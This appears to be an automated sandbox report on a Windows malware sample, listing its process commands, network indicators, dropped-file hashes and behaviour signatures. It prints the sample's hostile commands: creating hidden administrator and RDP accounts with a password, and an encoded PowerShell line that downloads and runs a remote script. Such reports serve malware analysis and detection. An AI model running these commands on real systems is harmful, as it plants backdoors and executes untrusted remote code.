C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc xxaIqIFQ

C:\Windows\system32\net.exe

net.exe user wgautilacc xxaIqIFQ

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc xxaIqIFQ

C:\Windows\System32\cmd.exe

cmd.exe /C wmic path win32_VideoController get name

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\System32\cmd.exe

cmd.exe /C wmic CPU get NAME

C:\Windows\System32\Wbem\WMIC.exe

wmic CPU get NAME

C:\Windows\System32\cmd.exe

cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA

C:\Windows\system32\cmd.exe

cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 SMlwtcVckecAT.SMlwtcVckecAT udp
N/A 8.8.8.8:53 2no.co udp
N/A 88.99.66.31:443 2no.co tcp
N/A 8.8.8.8:53 raw.githubusercontent.com udp
N/A 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 8.8.8.8:53 asfuuvhv3083f.xyz udp

Files

memory/792-60-0x0000000075551000-0x0000000075553000-memory.dmp

memory/1256-61-0x0000000000000000-mapping.dmp

memory/1444-62-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Bianchezza.xltx

MD5 7d4057365f857501253e0273336b7256
SHA1 62375a5303e4a59e95cf7e0072cd58efa187b7f2
SHA256 003e6c8d0f15c6eb4738ea99f9fd99457d43d65e9d4f15506446db4b51b02079
SHA512 7059a22ba6020db18f7b86e09b816bedd0a9f208818dcb98c69a647f6aee18ffaf4c60c3725bdfa8a354a7244b9c32fc07c3fc0d807ca39dda69842681a9fd6c

memory/1428-64-0x0000000000000000-mapping.dmp

memory/1628-65-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Veda.xltx

MD5 e7173515ef44feb1ee618484b7743e93
SHA1 8f976bf1da030655afd0f43e0a357a58a2ea9178
SHA256 7875f52e1f97a463783456b6b3c2dbc85f183534b5281ba72b0574529139d86b
SHA512 41830f7036e32679bf274c67390dd6bca9f6286ee8d3144d0e57ca39fdca1ec1a8273fb528ffed819444b183067ab6078bfaa0e82d16deed3fac47a1cf027361

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Quegli.xltx

MD5 88f64f83b0347a89de94d39c922de8be
SHA1 6f6994a18df262aad0d2b50b7e8b27b6b310b7a4
SHA256 2f642e4a8b22ad149697df770a1f5d1d87aec3d8b2320b867597ebfd5e3d8fd5
SHA512 9450effe8020f6a8adc840566639f2e5f6942217ae56182af7af5de441bc7ed37b97da983281e7d8b17ab9f6334c79269c94588f14ff61010d1b1c2b27c754a8

\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/1684-69-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/420-72-0x0000000000000000-mapping.dmp

memory/1684-71-0x000007FEFBF11000-0x000007FEFBF13000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\B

MD5 88f64f83b0347a89de94d39c922de8be
SHA1 6f6994a18df262aad0d2b50b7e8b27b6b310b7a4
SHA256 2f642e4a8b22ad149697df770a1f5d1d87aec3d8b2320b867597ebfd5e3d8fd5
SHA512 9450effe8020f6a8adc840566639f2e5f6942217ae56182af7af5de441bc7ed37b97da983281e7d8b17ab9f6334c79269c94588f14ff61010d1b1c2b27c754a8

\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/556-75-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.xltx

MD5 109dfda879c2954ab2c86c465af694b1
SHA1 318bec946966f6640d4a8cc2f615d8ff46e0e598
SHA256 74a6499a65d4b1df96a8db88714fb75f6ffe99b84d39c4d492ec840df0f9bf67
SHA512 afb8077b538ce66fe6c998e10699369f7151ba35e78e08c5cc82d78f48c0662bf729f2a0dd666dc755841a939c1212ddc55132ab4ae441f341dfa01122bfe977

\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/556-80-0x0000000000510000-0x0000000000511000-memory.dmp

memory/1520-81-0x0000000000570000-0x0000000000BBA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

MD5 f83ab141e29899ceb5308dabde894a0e
SHA1 6ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256 ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512 d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847

memory/1520-83-0x00000000427F0000-0x0000000042C10000-memory.dmp

memory/1520-85-0x0000000000570000-0x0000000000BBA000-memory.dmp

memory/1520-86-0x0000000041E92000-0x0000000041E94000-memory.dmp

memory/1520-87-0x0000000041E94000-0x0000000041E96000-memory.dmp

memory/1520-88-0x0000000041E96000-0x0000000041E97000-memory.dmp

memory/1520-89-0x0000000041E97000-0x0000000041E98000-memory.dmp

memory/1604-90-0x0000000000000000-mapping.dmp

memory/1604-92-0x0000000001D40000-0x0000000001D41000-memory.dmp

memory/1604-93-0x000000001ADA0000-0x000000001ADA1000-memory.dmp

memory/1604-94-0x0000000001F00000-0x0000000001F01000-memory.dmp

memory/1604-96-0x0000000002310000-0x0000000002311000-memory.dmp

memory/1604-97-0x000000001AD24000-0x000000001AD26000-memory.dmp

memory/1604-95-0x000000001AD20000-0x000000001AD22000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5 3447df88de7128bdc34942334b2fab98
SHA1 519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA256 9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA512 2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

memory/1604-99-0x000000001C490000-0x000000001C491000-memory.dmp

memory/528-100-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\0hwfdrms\0hwfdrms.cmdline

MD5 fb67107f2bbe165e3a1f62ce5aa6505f
SHA1 b3572fa27f87bc1068ad59d9ef0f3f3bfba4a4ac
SHA256 3c204adf4faa4d46513481803b30eb263d9eb5b13dfb658939b73a7a63fde780
SHA512 038c6910805a7f0e7efa9230caafe03480861c344c50b5ec7fa243a9e5d7bbc13b4c49b256c5801cfaefa685efc3fe1815aaa2c206a8d500d23a2709d42a3f7f

\??\c:\Users\Admin\AppData\Local\Temp\0hwfdrms\0hwfdrms.0.cs

MD5 4864fc038c0b4d61f508d402317c6e9a
SHA1 72171db3eea76ecff3f7f173b0de0d277b0fede7
SHA256 0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA512 9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

memory/924-103-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\0hwfdrms\CSC94084A0813C4B92B670F7277E39339.TMP

MD5 5296cb61e0d8216d5890515933e9fedd
SHA1 be9ec0dfd12f18c4e7e03a83989d14f3f50ede10
SHA256 6418db70e3f32fcce035764ee115f111c497d9dddb17db08057f6910097f3e83
SHA512 a948f0fd63a9d8b6ce65817af4639f22b5b141aa2e570df1ad3fe89c3ff1db6f18446024ec9eb02a1e14ba5410633cab38fb036b0e516e8bfff2c7966fee0702

C:\Users\Admin\AppData\Local\Temp\RES11EB.tmp

MD5 20675327dcba4892c35e244613f98650
SHA1 26d2c471ebe06586d5c49479c236087a03db619b
SHA256 fea78b3b51c33d64c3e546adbce337fc9e7663f7d21001f944313c8141c6dd71
SHA512 359821c4a2a018165359a61079d82fcbddd74d90912b7567be13fbc3b80b0dd29aa458b4dfebf6ce3e8f21bdaac7b2612e8fd31cebd5e97c7255aba6763fa055

memory/1604-107-0x0000000001D90000-0x0000000001D91000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0hwfdrms\0hwfdrms.dll

MD5 ed5c401216f5e5219436439a1beb0a70
SHA1 45913cd012582b7f3b8a3855cb7f04de7017654d
SHA256 086d054bc6b8183986becadfc0e0d511d3f419a63ef6c90914ff1af2dfc3cbc9
SHA512 abfa2ccd5df2dcb29ccf1bacfd59aa4601b00c17ff3acf7d8675107a3bc165444fa043504599a3214c21fb4bf5c595ccbf3ba9d3b4bd5d3796bb876801a9dc05

C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

MD5 91f2ffa1c3ed8abba9ce6a3a8f63ae61
SHA1 0686c03aedfa4a0a17397da8dbb7e73cea42fa33
SHA256 069a95878671a32398ba592ad95049a9bff8b727849465d73c17382eb53869f8
SHA512 91473dfbf6b058b9ff70b38b1a7c82046b130c44e349e90b97eb651198b0a64a201ea64b03877e3179b2cb8c729a9fb0a54c408206d8f06c8a71197d3fba93ae

memory/1604-109-0x000000001AB30000-0x000000001AB31000-memory.dmp

memory/1604-110-0x000000001AC70000-0x000000001AC71000-memory.dmp

memory/1604-111-0x00000000025E0000-0x00000000025E1000-memory.dmp

memory/1564-112-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 71ea255da26b0d2d84b0129cf149840e
SHA1 8250fd22adaa7b34ab05f43903b95a11d4551366
SHA256 5411bfdf2c7cb155242c2fac7fce6b5fad29239b61b05bdd4292c4f1c5f481fa
SHA512 5bf514cff76ff7689d28f54adaae73c3a06b6571e4350a9c7130c4f6bec89d73c484579212a3486f9dc1b06066bb9a0c09dbf92259b2eb8beacd5ae1488cd70e

memory/1564-117-0x000000001AB00000-0x000000001AB02000-memory.dmp

memory/1564-119-0x000000001AB04000-0x000000001AB06000-memory.dmp

memory/1564-120-0x00000000025C0000-0x00000000025C1000-memory.dmp

memory/1564-122-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

memory/1564-124-0x000000001AA90000-0x000000001AA91000-memory.dmp

memory/1564-125-0x0000000002380000-0x0000000002381000-memory.dmp

memory/1604-126-0x000000001AD2A000-0x000000001AD49000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 3c211a323217358b93f14f2a05aee863
SHA1 d73966c1faa2d64a75e835297958692bf5f67cec
SHA256 b3f2e524e7d9075386de8b00e4310b77687f5e2b2e835261d1166ce9ea1319ff
SHA512 a753eec6bb47678c41a7b11ac018bc5186fdd273b90a613e459d08e53028e813aefe63f06bf8bdeb334cf0a949ba3af7ce593336343610e0086ed75e7b3aef99

memory/1564-131-0x000000001BD60000-0x000000001BD61000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f341932f-b669-4878-95ae-0d6050f28280

MD5 6f0d509e28be1af95ba237d4f43adab4
SHA1 c665febe79e435843553bee86a6cea731ce6c5e4
SHA256 f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA512 8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

memory/1564-144-0x000000001B970000-0x000000001B971000-memory.dmp

memory/1564-145-0x000000001BC80000-0x000000001BC81000-memory.dmp

memory/292-146-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 71ea255da26b0d2d84b0129cf149840e
SHA1 8250fd22adaa7b34ab05f43903b95a11d4551366
SHA256 5411bfdf2c7cb155242c2fac7fce6b5fad29239b61b05bdd4292c4f1c5f481fa
SHA512 5bf514cff76ff7689d28f54adaae73c3a06b6571e4350a9c7130c4f6bec89d73c484579212a3486f9dc1b06066bb9a0c09dbf92259b2eb8beacd5ae1488cd70e

memory/292-152-0x0000000002730000-0x0000000002731000-memory.dmp

memory/292-154-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

memory/292-156-0x000000001B570000-0x000000001B571000-memory.dmp

memory/292-157-0x0000000001F20000-0x0000000001F21000-memory.dmp

memory/292-158-0x0000000002690000-0x0000000002692000-memory.dmp

memory/292-159-0x0000000002694000-0x0000000002696000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 038ca602240282b9d79411cc87e6fc7a
SHA1 a8eba553f33fabc7df981c5b550509052f283270
SHA256 55a9daa22f9532fd71a67728a195b4f880e955e7e6f6fa34a3da258fb72c6792
SHA512 485cf7c8f4d4c8fb74e85c80c5f983b157c8f49297d77739d4b19560dfd97f97b96fd2bb419130061bf86a5444f4867301bad52c2380f387d5b12c97c92c5e7e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_75c5d9c9-7814-4407-89c8-40a9197cd11f

MD5 7f79b990cb5ed648f9e583fe35527aa7
SHA1 71b177b48c8bd745ef02c2affad79ca222da7c33
SHA256 080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA512 20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8763cb66-9035-41ba-9fb5-20616d16d115

MD5 e5b3ba61c3cf07deda462c9b27eb4166
SHA1 b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256 b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512 a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9a9a3132-2b58-46fb-a815-d8096e46f4c5

MD5 d89968acfbd0cd60b51df04860d99896
SHA1 b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA256 1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512 b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_886edd1f-d37d-47f1-81ca-1ee9039fd3d8

MD5 2d5cd190b5db0620cd62e3cd6ba1dcd3
SHA1 ff4f229f4fbacccdf11d98c04ba756bda80aac7a
SHA256 ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d
SHA512 edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_98d9f8b2-a755-45f3-b229-15eb3c7e9103

MD5 faa37917b36371249ac9fcf93317bf97
SHA1 a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256 b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512 614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_626437a6-0611-4d06-9386-3b602632f77e

MD5 a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA1 81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256 dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA512 8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

memory/1444-167-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 71ea255da26b0d2d84b0129cf149840e
SHA1 8250fd22adaa7b34ab05f43903b95a11d4551366
SHA256 5411bfdf2c7cb155242c2fac7fce6b5fad29239b61b05bdd4292c4f1c5f481fa
SHA512 5bf514cff76ff7689d28f54adaae73c3a06b6571e4350a9c7130c4f6bec89d73c484579212a3486f9dc1b06066bb9a0c09dbf92259b2eb8beacd5ae1488cd70e

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1444-180-0x000000001AC90000-0x000000001AC92000-memory.dmp

memory/1444-181-0x000000001AC94000-0x000000001AC96000-memory.dmp

\??\PIPE\lsarpc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1604-183-0x000000001C5F0000-0x000000001C5F1000-memory.dmp

memory/568-184-0x0000000000000000-mapping.dmp

C:\Windows\system32\rfxvmt.dll

MD5 dc39d23e4c0e681fad7a3e1342a2843c
SHA1 58fd7d50c2dca464a128f5e0435d6f0515e62073
SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA512 5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

memory/1832-186-0x0000000000000000-mapping.dmp

memory/1536-187-0x0000000000000000-mapping.dmp

memory/1812-188-0x0000000000000000-mapping.dmp

memory/1148-189-0x0000000000000000-mapping.dmp

memory/2028-190-0x0000000000000000-mapping.dmp

memory/1304-191-0x0000000000000000-mapping.dmp

memory/1320-192-0x0000000000000000-mapping.dmp

memory/1804-193-0x0000000000000000-mapping.dmp

memory/1944-194-0x0000000000000000-mapping.dmp

memory/904-195-0x0000000000000000-mapping.dmp

memory/960-196-0x0000000000000000-mapping.dmp

memory/604-197-0x0000000000000000-mapping.dmp

memory/1340-198-0x0000000000000000-mapping.dmp

memory/1012-199-0x0000000000000000-mapping.dmp

memory/864-200-0x0000000000000000-mapping.dmp

memory/1324-201-0x0000000000000000-mapping.dmp

memory/916-202-0x0000000000000000-mapping.dmp

memory/1436-203-0x0000000000000000-mapping.dmp

memory/300-204-0x0000000000000000-mapping.dmp

memory/972-205-0x0000000000000000-mapping.dmp

\Windows\Branding\mediasrv.png

MD5 7ddf5fb0ee8289cc286b454a7b53a603
SHA1 065aeffcc062d442671b3f67df6473bee9367b3a
SHA256 8f55881188f7be83a94148b548fee913bde5d658ea462dd9e4dc5945e41197e7
SHA512 7783144e8b92512d4e9bf23664d56bdab30f3c97a3e7d31d4ca233f7f47bd69983e7f5f9f2469b420146460ae514b9c891a66aad06077f06d1df1cf9b15581a4

\Windows\Branding\mediasvc.png

MD5 667d42e1a5ba6c7a929e8e77262a9861
SHA1 dd73058c4d6b851f3c347410342a0b7a9b2a689a
SHA256 a6a996d5e38ac43969a5151393e87aa85b79d1a5bb4449ca1328c610e8803a1c
SHA512 7fb5611eba143a32faf3e20637c649ed78535578f7f64750b52586b3fbf738ad07a40f61fe7840204a7ee8d42fb75d7e6213579c7f4df114f3e135e72825bb53

memory/1120-208-0x0000000000000000-mapping.dmp

memory/1032-209-0x0000000000000000-mapping.dmp

memory/672-210-0x0000000000000000-mapping.dmp

memory/1780-211-0x0000000000000000-mapping.dmp

\??\PIPE\samr

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/904-213-0x0000000000000000-mapping.dmp

memory/844-214-0x0000000000000000-mapping.dmp

memory/864-215-0x0000000000000000-mapping.dmp

memory/1708-216-0x0000000000000000-mapping.dmp

memory/1812-217-0x0000000000000000-mapping.dmp

memory/1120-218-0x0000000000000000-mapping.dmp

memory/1684-219-0x0000000000000000-mapping.dmp

memory/672-220-0x0000000000000000-mapping.dmp

memory/324-221-0x0000000000000000-mapping.dmp

memory/1708-222-0x0000000000000000-mapping.dmp

memory/1120-223-0x0000000000000000-mapping.dmp

memory/1304-224-0x0000000000000000-mapping.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1304-231-0x0000000019750000-0x0000000019752000-memory.dmp

memory/1304-232-0x0000000019754000-0x0000000019756000-memory.dmp

memory/1304-261-0x000000001975A000-0x0000000019779000-memory.dmp

memory/816-262-0x0000000000000000-mapping.dmp

memory/916-263-0x0000000000000000-mapping.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2021-08-24 04:58

Reported

2021-08-24 05:00

Platform

win10v20210408

Max time kernel

137s

Max time network

141s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"

Signatures

Grants admin privileges

Modifies RDP port number used by Windows

Sets DLL path for service in the registry

persistence

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3048 set thread context of 3560 N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_rf3elegc.ymj.psm1 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI647.tmp C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI687.tmp C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\ShellBrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
